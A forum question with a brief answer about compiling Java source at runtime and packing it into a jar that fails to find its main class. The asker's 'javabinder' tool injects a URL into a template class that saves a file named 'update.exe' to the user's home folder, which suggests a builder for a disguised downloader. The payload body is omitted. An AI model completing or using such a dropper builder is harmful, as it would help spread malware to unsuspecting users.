Java compiles a jar programmatically

I have java source code in a text file. Some custom hardcoded variables have to be injected into the source code and then they need to be jarred. This works, but when I run the jar, the main class cannot be found.

When I extract the jar file using WinRAR, I cannot find the error.

When I run the generated / extracted class file via cmd I get "Error: Could not find or load main class Main"

generated manifest:

Manifest-Version: 1.0
Main-Class: javabinder.Main

      

Source:

public class JarOutStream extends  Thread{
    public static final String HOME = "/javabinder/";
    public static String url;
    public JarOutStream(String text) {
        url = text;
    }

    @Override
    public void run()
    {
        try {
            //Read file and place the URL
            BufferedReader br = new BufferedReader(new InputStreamReader(getClass().getClassLoader().getResourceAsStream("./net/sharpcode/binder/data.txt")));
            StringBuilder sb = new StringBuilder();
            String line;
            while ((line = br.readLine()) != null)
            {
                if(line.contains("#URL#"))
                    line = line.replace("#URL#", url);
                sb.append(line);
                sb.append("\n");
            }
            br.close();

            JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
            DiagnosticCollector<JavaFileObject> diagnostics = new DiagnosticCollector<JavaFileObject>();
            JavaFileObject file = new JavaSourceFromString("Main", sb.toString());
            Iterable<? extends JavaFileObject> compilationUnits = Arrays.asList(file);
            CompilationTask task = compiler.getTask(null, null, diagnostics, null, null, compilationUnits);
            boolean success = task.call();
            if(!success) {
                JOptionPane.showMessageDialog(null, "Error while compiling.");
                return;
            }
            //Create the jar and add the compiled java file
            Manifest manifest = new Manifest();
            manifest.getMainAttributes().put(Attributes.Name.MANIFEST_VERSION, "1.0");
            manifest.getMainAttributes().put(Attributes.Name.MAIN_CLASS, "javabinder.Main");
            JarOutputStream target = new JarOutputStream(new FileOutputStream(new File(HOME + File.separator + "output.jar")), manifest);
            String path = Bootstrapper.class.getProtectionDomain().getCodeSource().getLocation().getPath() + "Main.class";
            System.out.println(path);
            //Error with the path I guess.
            add(new File(path), target);

            target.close();

            JOptionPane.showMessageDialog(null, "Completed!");
        } catch (Exception ex) {
            System.out.println("Error : " + ex.toString());
            ex.printStackTrace();
        }
    }

    private void add(File source, JarOutputStream target) throws IOException
    {
        BufferedInputStream in = null;
        try
        {
            if (source.isDirectory())
            {
                String name = source.getPath().replace("\\", "/");
                if (!name.isEmpty())
                {
                    if (!name.endsWith("/"))
                        name += "/";
                    JarEntry entry = new JarEntry(name);
                    entry.setTime(source.lastModified());
                    target.putNextEntry(entry);
                    target.closeEntry();
                }
                for (File nestedFile: source.listFiles())
                    add(nestedFile, target);
                return;
            }

            JarEntry entry = new JarEntry(source.getPath().replace("\\", "/"));
            entry.setTime(source.lastModified());
            target.putNextEntry(entry);
            in = new BufferedInputStream(new FileInputStream(source));

            byte[] buffer = new byte[1024];
            while (true)
            {
                int count = in.read(buffer);
                if (count == -1)
                    break;
                target.write(buffer, 0, count);
            }
            target.closeEntry();
        }
        finally
        {
            if (in != null)
                in.close();
        }
    }
    class JavaSourceFromString extends SimpleJavaFileObject {
        final String code;
        JavaSourceFromString(String name, String code) {
            super(URI.create("string:///" + name.replace(".","/") + Kind.SOURCE.extension),Kind.SOURCE);
            this.code = code;
        }
        @Override
        public CharSequence getCharContent(boolean ignoreEncodingErrors) {
            return code;
        }
    }
}

      

Text file containing java source code:

import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;


public class Main
{
    private static final String LOCAL_LOCATION = System.getProperty("user.home") + File.separator + "update.exe";
    private static final String URL = "#URL#";

    public static void main(String args[]) throws Exception
    {
       //CODE (no compile errors)
    }
}

      


Update. As I said, I am now using the JavaCompiler class. Which works, but I'm still having trouble getting the jar.

+3


source to share


1 answer


How about using JavaCompiler



+2


source







All Articles